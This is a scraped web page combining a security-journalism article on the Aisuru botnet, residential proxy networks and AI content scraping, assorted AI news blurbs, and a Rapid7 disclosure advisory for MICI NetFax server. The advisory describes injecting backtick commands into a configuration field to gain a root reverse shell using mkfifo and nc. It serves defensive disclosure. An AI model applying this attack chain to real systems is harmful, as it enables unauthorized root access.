These digital sieges have been particularly disruptive this year for U.S.-based Internet service providers (ISPs), in part because Aisuru recently succeeded in taking over a large number of IoT devices in the United States. And when Aisuru launches attacks, the volume of outgoing traffic from infected systems on these ISPs is often so high that it can disrupt or degrade Internet service for adjacent (non-botted) customers of the ISPs.

“Multiple broadband access network operators have experienced significant operational impact due to outbound DDoS attacks in excess of 1.5Tb/sec launched from Aisuru botnet nodes residing on end-customer premises,” wrote Roland Dobbins, principal engineer at Netscout, in a recent executive summary on Aisuru. “Outbound/crossbound attack traffic exceeding 1Tb/sec from compromised customer premise equipment (CPE) devices has caused significant disruption to wireline and wireless broadband access networks. High-throughput attacks have caused chassis-based router line card failures.”

The incessant attacks from Aisuru have caught the attention of federal authorities in the United States and Europe (many of Aisuru’s victims are customers of ISPs and hosting providers based in Europe). Quite recently, some of the world’s largest ISPs have started informally sharing block lists identifying the rapidly shifting locations of the servers that the attackers use to control the activities of the botnet.

Experts say the Aisuru botmasters recently updated their malware so that compromised devices can more easily be rented to so-called “residential proxy” providers. These proxy services allow paying customers to route their Internet communications through someone else’s device, providing anonymity and the ability to appear as a regular Internet user in almost any major city worldwide.

From a website’s perspective, the IP traffic of a residential proxy network user appears to originate from the rented residential IP address, not from the proxy service customer. Proxy services can be used in a legitimate manner for several business purposes — such as price comparisons or sales intelligence. But they are massively abused for hiding cybercrime activity (think advertising fraud, credential stuffing) because they can make it difficult to trace malicious traffic to its original source.

And as we’ll see in a moment, this entire shadowy industry appears to be shifting its focus toward enabling aggressive content scraping activity that continuously feeds raw data into large language models (LLMs) built to support various AI projects.

‘INSANE’ GROWTH

Riley Kilmer is co-founder of spur.us, a service that tracks proxy networks. Kilmer said all of the top proxy services have grown substantially over the past six months.

“I just checked, and in the last 90 days we’ve seen 250 million unique residential proxy IPs,” Kilmer said. “That is insane. That is so high of a number, it’s unheard of. These proxies are absolutely everywhere now.”

Today, Spur says it is tracking an unprecedented spike in available proxies across all providers, including;

LUMINATI_PROXY    11,856,421
NETNUT_PROXY    10,982,458
ABCPROXY_PROXY    9,294,419
OXYLABS_PROXY     6,754,790
IPIDEA_PROXY     3,209,313
EARNFM_PROXY    2,659,913
NODEMAVEN_PROXY    2,627,851
INFATICA_PROXY    2,335,194
IPROYAL_PROXY    2,032,027
YILU_PROXY    1,549,155

Reached for comment about the apparent rapid growth in their proxy network, Oxylabs (#4 on Spur’s list) said while their proxy pool did grow recently, it did so at nowhere near the rate cited by Spur.

“We don’t systematically track other providers’ figures, and we’re not aware of any instances of 10× or 100× growth, especially when it comes to a few bigger companies that are legitimate businesses,” the company said in a written statement.

Bright Data was formerly known as Luminati Networks, the name that is currently at the top of Spur’s list of the biggest residential proxy networks. Bright Data likewise told KrebsOnSecurity that Spur’s current estimates of its proxy network are dramatically overstated and inaccurate.

“We did not actively initiate nor do we see any 10x or 100x expansion of our network, which leads me to believe that someone might be presenting these IPs as Bright Data’s in some way,” said Rony Shalit, Bright Data’s chief compliance and ethics officer. “In many cases in the past, due to us being the leading data collection proxy provider, IPs were falsely tagged as being part of our network, or while being used by other proxy providers for malicious activity.”

“Our network is only sourced from verified IP providers and a robust opt-in only residential peers, which we work hard and in complete transparency to obtain,” Shalit continued. “Every DC, ISP or SDK partner is reviewed and approved, and every residential peer must actively opt in to be part of our network.”

HK NETWORK

Even Spur acknowledges that Luminati and Oxylabs are unlike most other proxy services on their top proxy providers list, in that these providers actually adhere to “know-your-customer” policies, such as requiring video calls with all customers, and strictly blocking customers from reselling access.

Benjamin Brundage is founder of Synthient, a startup that helps companies detect proxy networks. Brundage said if there is increasing confusion around which proxy networks are the most worrisome, it’s because nearly all of these lesser-known proxy services have evolved into highly incestuous bandwidth resellers. What’s more, he said, some proxy providers do not appreciate being tracked and have been known to take aggressive steps to confuse systems that scan the Internet for residential proxy nodes.

Brundage said most proxy services today have created their own software development kit or SDK that other app developers can bundle with their code to earn revenue. These SDKs quietly modify the user’s device so that some portion of their bandwidth can be used to forward traffic from proxy service customers.

“Proxy providers have pools of constantly churning IP addresses,” he said. “These IP addresses are sourced through various means, such as bandwidth-sharing apps, botnets, Android SDKs, and more. These providers will often either directly approach resellers or offer a reseller program that allows users to resell bandwidth through their platform.”

Many SDK providers say they require full consent before allowing their software to be installed on end-user devices. Still, those opt-in agreements and consent checkboxes may be little more than a formality for cybercriminals like the Aisuru botmasters, who can earn a commission each time one of their infected devices is forced to install some SDK that enables one or more of these proxy services.

Depending on its structure, a single provider may operate hundreds of different proxy pools at a time — all maintained through other means, Brundage said.

“Often, you’ll see resellers maintaining their own proxy pool in addition to an upstream provider,” he said. “It allows them to market a proxy pool to high-value clients and offer an unlimited bandwidth plan for cheap reduce their own costs.”

Some proxy providers appear to be directly in league with botmasters. Brundage identified one proxy seller that was aggressively advertising cheap and plentiful bandwidth to content scraping companies. After scanning that provider’s pool of available proxies, Brundage said he found a one-to-one match with IP addresses he’d previously mapped to the Aisuru botnet.

Brundage says that by almost any measurement, the world’s largest residential proxy service is IPidea, a China-based proxy network. IPidea is #5 on Spur’s Top 10, and Brundage said its brands include ABCProxy (#3), Roxlabs, LunaProxy, PIA S5 Proxy, PyProxy, 922Proxy, 360Proxy, IP2World, and Cherry Proxy. Spur’s Kilmer said they also track Yilu Proxy (#10) as IPidea.

Brundage said all of these providers operate under a corporate umbrella known on the cybercrime forums as “HK Network.”

“The way it works is there’s this whole reseller ecosystem, where IPidea will be incredibly aggressive and approach all these proxy providers with the offer, ‘Hey, if you guys buy bandwidth from us, we’ll give you these amazing reseller prices,'” Brundage explained. “But they’re also very aggressive in recruiting resellers for their apps.”

Those apps include a range of low-cost and “free” virtual private networking (VPN) services that indeed allow users to enjoy a free VPN, but which also turn the user’s device into a traffic relay that can be rented to cybercriminals, or else parceled out to countless other proxy networks.

“They have all this bandwidth to offload,” Brundage said of IPidea and its sister networks. “And they can do it through their own platforms, or they go get resellers to do it for them by advertising on sketchy hacker forums to reach more people.”

One of IPidea’s core brands is 922S5Proxy, which is a not-so-subtle nod to the 911S5Proxy service that was hugely popular between 2015 and 2022. In July 2022, KrebsOnSecurity published a deep dive into 911S5Proxy’s origins and apparent owners in China. Less than a week later, 911S5Proxy announced it was closing down after the company’s servers were massively hacked.

That 2022 story named Yunhe Wang from Beijing as the apparent owner and/or manager of the 911S5 proxy service. In May 2024, the U.S. Department of Justice arrested Mr Wang, alleging that his network was used to steal billions of dollars from financial institutions, credit card issuers, and federal lending programs. At the same time, the U.S. Treasury Department announced sanctions against Wang and two other Chinese nationals for operating 911S5Proxy.

DATA SCRAPING FOR AI

In recent months, multiple experts who track botnet and proxy activity have shared that a great deal of content scraping which ultimately benefits AI companies is now leveraging these proxy networks to further obfuscate their aggressive data-slurping activity. That’s because by routing it through residential IP addresses, content scraping firms can make their traffic far trickier to filter out.

“It’s really difficult to block, because there’s a risk of blocking real people,” Spur’s Kilmer said of the LLM scraping activity that is fed through individual residential IP addresses, which are often shared by multiple customers at once.

Kilmer says the AI industry has brought a veneer of legitimacy to residential proxy business, which has heretofore mostly been associated with sketchy affiliate money making programs, automated abuse, and unwanted Internet traffic.

“Web crawling and scraping has always been a thing, but AI made it like a commodity, data that had to be collected,” Kilmer said. “Everybody wanted to monetize their own data pots, and how they monetize that is different across the board.”

Kilmer said many LLM-related scrapers rely on residential proxies in cases where the content provider has restricted access to their platform in some way, such as forcing interaction through an app, or keeping all content behind a login page with multi-factor authentication.

“Where the cost of data is out of reach — there is some exclusivity or reason they can’t access the data — they’ll turn to residential proxies so they look like a real person accessing that data,” Kilmer said of the content scraping efforts.

Aggressive AI crawlers increasingly are overloading community-maintained infrastructure, causing what amounts to persistent DDoS attacks on vital public resources. A report earlier this year from LibreNews found some open-source projects now see as much as 97 percent of their traffic originating from AI company bots, dramatically increasing bandwidth costs, service instability, and burdening already stretched-thin maintainers.

Cloudflare is now experimenting with tools that will allow content creators to charge a fee to AI crawlers to scrape their websites. The company’s “pay-per-crawl” feature is currently in a private beta, and it lets publishers set their own prices that bots must pay before scraping content.

On October 22, the social media and news network Reddit sued Oxylabs (PDF) and several other proxy providers, alleging that their systems enabled the mass-scraping of Reddit user content even though Reddit had taken steps to block such activity.

“Recognizing that Reddit denies scrapers like them access to its site, Defendants scrape the data from Google’s search results instead,” the lawsuit alleges. “They do so by masking their identities, hiding their locations, and disguising their web scrapers as regular people (among other techniques) to circumvent or bypass the security restrictions meant to stop them.”

Denas Grybauskas, chief governance and strategy officer at Oxylabs, said the company was shocked and disappointed by the lawsuit.

“Reddit has made no attempt to speak with us directly or communicate any potential concerns,” Grybauskas said in a written statement. “Oxylabs has always been and will continue to be a pioneer and an industry leader in public data collection, and it will not hesitate to defend itself against these allegations. Oxylabs’ position is that no company should claim ownership of public data that does not belong to them. It is possible that it is just an attempt to sell the same public data at an inflated price.”

As big and powerful as Aisuru may be, it is hardly the only botnet that is contributing to the overall broad availability of residential proxies. For example, on June 5 the FBI’s Internet Crime Complaint Center warned that an IoT malware threat dubbed BADBOX 2.0 had compromised millions of smart-TV boxes, digital projectors, vehicle infotainment units, picture frames, and other IoT devices.

In July, Google filed a lawsuit in New York federal court against the Badbox botnet’s alleged perpetrators. Google said the Badbox 2.0 botnet “compromised more than 10 million uncertified devices running Android’s open-source software, which lacks Google’s security protections. Cybercriminals infected these devices with pre-installed malware and exploited them to conduct large-scale ad fraud and other digital crimes.”

A FAMILIAR DOMAIN NAME

Brundage said the Aisuru botmasters have their own SDK, and for some reason part of its code tells many newly-infected systems to query the domain name fuckbriankrebs[.]com. This may be little more than an elaborate “screw you” to this site’s author: One of the botnet’s alleged partners goes by the handle “Forky,” and was identified in June by KrebsOnSecurity as a young man from Sao Paulo, Brazil.

Brundage noted that only systems infected with Aisuru’s Android SDK will be forced to resolve the domain. Initially, there was some discussion about whether the domain might have some utility as a “kill switch” capable of disrupting the botnet’s operations, although Brundage and others interviewed for this story say that is unlikely.

For one thing, they said, if the domain was somehow critical to the operation of the botnet, why was it still unregistered and actively for-sale? Why indeed, we asked. Happily, the domain name was deftly snatched up last week by Philippe Caturegli, “chief hacking officer” for the security intelligence company Seralys.

Caturegli enabled a passive DNS server on that domain and within a few hours received more than 700,000 requests for unique subdomains on fuckbriankrebs[.]com.

But even with that visibility into Aisuru, it is difficult to use this domain check-in feature to measure its true size, Brundage said. After all, he said, the systems that are phoning home to the domain are only a small portion of the overall botnet.

“The bots are hardcoded to just spam lookups on the subdomains,” he said. “So anytime an infection occurs or it runs in the background, it will do one of those DNS queries.”

The domain fuckbriankrebs[.]com has a storied history. On its initial launch in 2009, it was used to spread malicious software by the Cutwail spam botnet. In 2011, the domain was involved in a notable DDoS against this website from a botnet powered by Russkill (a.k.a. “Dirt Jumper”).

Domaintools.com finds that in 2015, fuckbriankrebs[.]com was registered to an email address attributed to David “Abdilo” Crees, a 27-year-old Australian man sentenced in May 2025 to time served for cybercrime convictions related to the Lizard Squad hacking group.

Update, Nov. 1, 2025, 10:25 a.m. ET: An earlier version of this story erroneously cited Spur’s proxy numbers from earlier this year; Spur said those numbers conflated residential proxies — which are rotating and attached to real end-user devices — with “ISP proxies” located at AT&T. ISP proxies, Spur said, involve tricking an ISP into routing a large number of IP addresses that are resold as far more static datacenter proxies.

Spektrum Labs is providing early access to a platform that enables cybersecurity and IT teams to mathematically prove they have achieved cyber resilience. Company CEO J.J. Thompson said the Spektrum Fusion platform makes use of cryptographic proofs to validate whether statements made about resilience are indeed true. The output from those mathematical algorithms provides the..

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A.I. has set off industrywide soul-searching about its potential and pitfalls.

© The Denver Post, via Getty Images

Seven complaints, filed on Thursday, claim the popular chatbot encouraged dangerous discussions and led to mental breakdowns.

© Chloe Ellingson for The New York Times

The A.I. company faced pushback after a top executive raised the idea of government aid, amid concerns that the A.I. industry is headed toward a dangerous bubble.

© Mike Segar/Reuters

A.I. search tools, chatbots and social media are associated with lower cognitive performance, studies say. What to do?

© Derek Abella

The industry keeps echoing ideas from bleak satires and cyberpunk stories as if they were exciting possibilities, not grim warnings.

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© Andria Lo for The New York Times

After signing agreements to use computing power from Nvidia, AMD and Oracle, OpenAI is teaming up with the world’s largest cloud computing company.

© Haiyun Jiang/The New York Times

The company reported higher-than-expected capital expenditures of $34.9 billion in its latest quarter.

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The start-up, which creates A.I. companions, faces lawsuits from families who have accused Character.AI’s chatbots of leading teenagers to kill themselves.

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The artificial intelligence company said the nonprofit that controlled the organization would receive a $130 billion stake in the new company.

© Mike Kai Chen for The New York Times

Spurred by titans like Amazon and OpenAI, California State wants to become the nation’s “largest A.I.-empowered” university.

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“Now we are just seeing OpenAI do the full Facebook when it comes to content policy.”

© Photo Illustration by The New York Times; Images: Getty Images

In a lawsuit, Reddit pulled back the curtain on an ecosystem of start-ups that scrape Google’s search results and resell the information to data-hungry A.I. companies.

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The new browser, called Atlas, is designed to work closely with OpenAI products like ChatGPT.

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As tech companies build data centers worldwide to advance artificial intelligence, vulnerable communities have been hit by blackouts and water shortages.

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After signing multibillion-dollar agreements to use chips from Nvidia and AMD, OpenAI plans to deploy its own designs next year.

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At DevDay, OpenAI signaled its ambition to take everything you can do on the internet and shove it inside ChatGPT.

© Photo Illustration by The New York Times; Photo: Benjamin Legendre/Agence France-Presse — Getty Images

Welcome to the era of fakery. The widespread use of instant video generators like Sora will bring an end to visuals as proof.

© Sisi Yu

In the course of a penetration testing engagement, Rapid7 discovered three vulnerabilities in MICI Network Co., Ltd’s NetFax server versions < 3.0.1.0. These issues allowed for an authenticated attack chain resulting in Remote Code Execution (RCE) against the device as the root user. While authentication is necessary for exploitation, default credentials for the application are automatically configured to be provided in cleartext through responses sent to the client, allowing for automated exploitation against vulnerable hosts.

Rapid7 enlisted the help of TWCERT to contact the vendor as an intermediary. On Friday, May 2, 2025, Rapid7 received a notification from TWCERT stating the following: “...they (MICI) have responded that they will not address the vulnerability in this product.” As a result of this communication, the customer chose to mitigate the related risk by decommissioning the devices prior to advisory publication.

The first vulnerability, a default credential disclosure, started with HTTP GET requests made during initial access to the server which displayed the default System Administrator credentials in cleartext. The display of these credentials appeared to be present due to implemented functionality for support of the ‘OneIn’ client.

Using the credentials, Rapid7 conducted a review of system configuration settings. A lack of sufficient sanitization was found within multiple parameters in regard to the ‘`’ character. This lack of sanitization could be used to store a system command such as ‘whoami’ within the configuration file.

Rapid7 discovered a function that conducted various system tests to confirm valid configuration such as ‘ping’ commands. This function ingested the data from the stored configuration which led to confirmed Remote Code Execution. By using the ‘mkfifo’ and ‘nc’ binaries present within the system, a reverse shell was obtained as the root user.

In addition, within the system it was noted that while the SMTP password displayed within the user interface had been properly redacted, the request which provided the system configuration contained the password in cleartext.

Product Description

MICI’s Network Fax (NetFax) server is a product suite to facilitate receipt of fax messages to user mailboxes through email traffic. The vendor, MICI, operates from Taiwan. During analysis of internet connected devices, Rapid7 noted 34 systems exposed to the internet. Rapid7 notes that the number of devices on internal networks would likely be much higher.

During review, Rapid7 noted systems running on the same ‘wfaxd’ server architecture used in the application with the name ‘CoFax Server’. A majority of those systems were found to be present within Iran. These devices did not necessarily appear to possess the same vulnerabilities from a passive review.

Credit

The vulnerabilities were discovered by Anna Quinn. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

The following vulnerabilities were identified during testing:

• CVE-2025-48045: Disclosed Default Credentials
• CVE-2025-48046: Disclosure of Stored Passwords
• CVE-2025-48047: Command Injection

CVE-2025-48045 - Disclosed Default Credentials - Moderate (6.6)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U

CWE-201: Insertion of Sensitive Information Into Sent Data

Upon accessing the web application on port 80 and intermittently afterwards, a GET request is made to ‘/client.php’ which disclosed default administrative user credentials to clients by providing information contained within an automatically configured setup file:

Remediation: Do not expose user credentials to the client, instead process any occurrences of configuration calls server-side. Present only the necessary information to the client such as the application name and version. Require users to reset the default administrator password upon initial access.

CVE-2025-48046 - Disclosure of Stored Passwords - Moderate (5.3)

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CWE-260: Password in Configuration File

Using the credentials, the application was reviewed for security. During this process, the SMTP password configured within the application was found to be properly redacted:

The configuration file, accessed through a GET request to ‘/config.php’ however, provided the cleartext password to the user:

Remediation: Do not expose user credentials to the client. Redact sensitive information before displaying it to the client.

CVE-2025-48047 - Command Injection – Critical (9.4)

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

A server test function which executed commands such as ‘ping’ was located at the /test.php endpoint. This function appeared to ingest data sent to the configuration file such as ‘ETHNAMESERVER’:

The configuration file was changed to include various commands such as a reverse shell using the ‘nc’ binary and ‘whoami’:

The system test was then run, confirming the ‘`’ characters had not been sanitized. This led to remote code execution via command injection. A reverse shell was also obtained through these methods after the existence of the ‘mkfifo’ and ‘nc’ binaries were confirmed to be present on the machine:

Remediation: Properly sanitize all input before use in system commands. While many characters were properly redacted, the ‘`’ character was not. Do server-side validation of configuration settings to confirm all parameters contain expected content before accepting the changes. Fields containing IP addresses should be processed to ensure they contain only valid IP addresses.

A working Metasploit module for this attack path for both a fully unauthenticated Remote Code Execution exploit against servers using default credentials and an authenticated RCE exploitation has been created and will be released in upcoming updates. This attack can be performed by any malicious actor with network access to the device.

Impact

The vulnerabilities have a range of impacts depending on configuration. Disclosure of default credentials by the application poses a risk to system administrators who do not properly change administrative passwords during setup. Rapid7 determined the application did not appear to either enforce or request a changing of default credentials upon initial login.

Failure to obscure passwords to connect to external services could result in compromise of network service accounts and potential impacts to further resources in the environment.

The command injection vulnerabilities result in administrative access to the underlying system, impacting the confidentiality, availability, and integrity of the server and application both.

Vendor Statement

After multiple attempts to contact the vendor without response, Rapid7 elicited the assistance of TWCERT to facilitate communications with the vendor. After multiple correspondences, the vendor indicated the following, as per TWCERT:

“...they (MICI) have responded that they will not address the vulnerability in this product. They advised users not to expose the product to external networks. They stated that they will no longer respond to inquiries regarding this product.”

Vendor Remediation

Vendor has indicated that the vulnerabilities will not be patched and advised users that servers should not be exposed to the internet. However, as the vulnerabilities could also be exploited from an internal network perspective and result in administrative access to the underlying server, Rapid7 additionally recommends only exposing the server to strictly necessary internal networks after reviewing the risk of the device’s presence to the environment. Rapid7 recommends changing default device credentials and reviewing risks related to account credentials provided to the system for service integration purposes.

Customer Remediation

The Rapid7 pentesting team routinely discovers product vulnerabilities during the course of customer engagements. Upon discovering the vulnerabilities outlined in this disclosure, the team informed the customer and included the customer in debriefs related to ongoing disclosure-related communications. Due to the nature of these communications, the customer chose to mitigate the identified risk by decommissioning the devices prior to advisory publication.

Rapid7 Customers

InsightVM and Nexpose customers can assess their exposure to CVE-2025-48045, CVE-2025-48046 and CVE-2025-48047 with unauthenticated checks available in the May 28, 2025 content release.

Disclosure Timeline

• Jan, 2025: Issue discovered by Anna Quinn
• Thursday, Jan 30, 2025: Initial disclosure to vendor via contact form
• Tuesday, Feb 25, 2025: Additional outreach to vendor via contact form
• Tuesday, March 18, 2025: Rapid7 contacts TWCERT to determine proper channels for vendor engagement
• Thursday, March 20, 2025: TWCERT puts Rapid7 in touch with vendor
• Monday, March 24, 2025: Rapid7 follows up with vendor
• Wednesday, March 26, 2025: Rapid7 follows up with vendor
• Monday, March 31, 2025: Rapid7 requests additional assistance from TWCERT.
• Tuesday, April 1, 2025: TWCERT requests further information
• Wednesday, April 2, 2025: TWCERT confirmed receipt of vulnerability disclosure information by vendor and indicated vendor contact would occur after internal review.
• Tuesday, April 8, 2025: Rapid7 follows up with vendor and TWCERT, requests an update by April 15, 2025.
• Tuesday, April 22, 2025: Rapid7 requests an update
• Friday, April 25, 2025: TWCERT relayed message from vendor requesting testing be done on newer versions of application. Rapid7 requests additional version(s) of the affected product from vendor.
• Tuesday, April 29, 2025: TWCERT provides a version of NetFax Client for testing, however the vulnerabilities exist in NetFax Server, and as such the client could not be used for validation purposes. Rapid7 informs TWCERT, requests server application versions from vendor.
• Friday, May 2, 2025: TWCERT provides a message from vendor indicating the vendor will not address vulnerabilities. Vendor indicates customers should ensure devices are not exposed externally. Vendor states they will not respond to further inquiries on the matter.
• Thursday, May 29, 2025: This disclosure.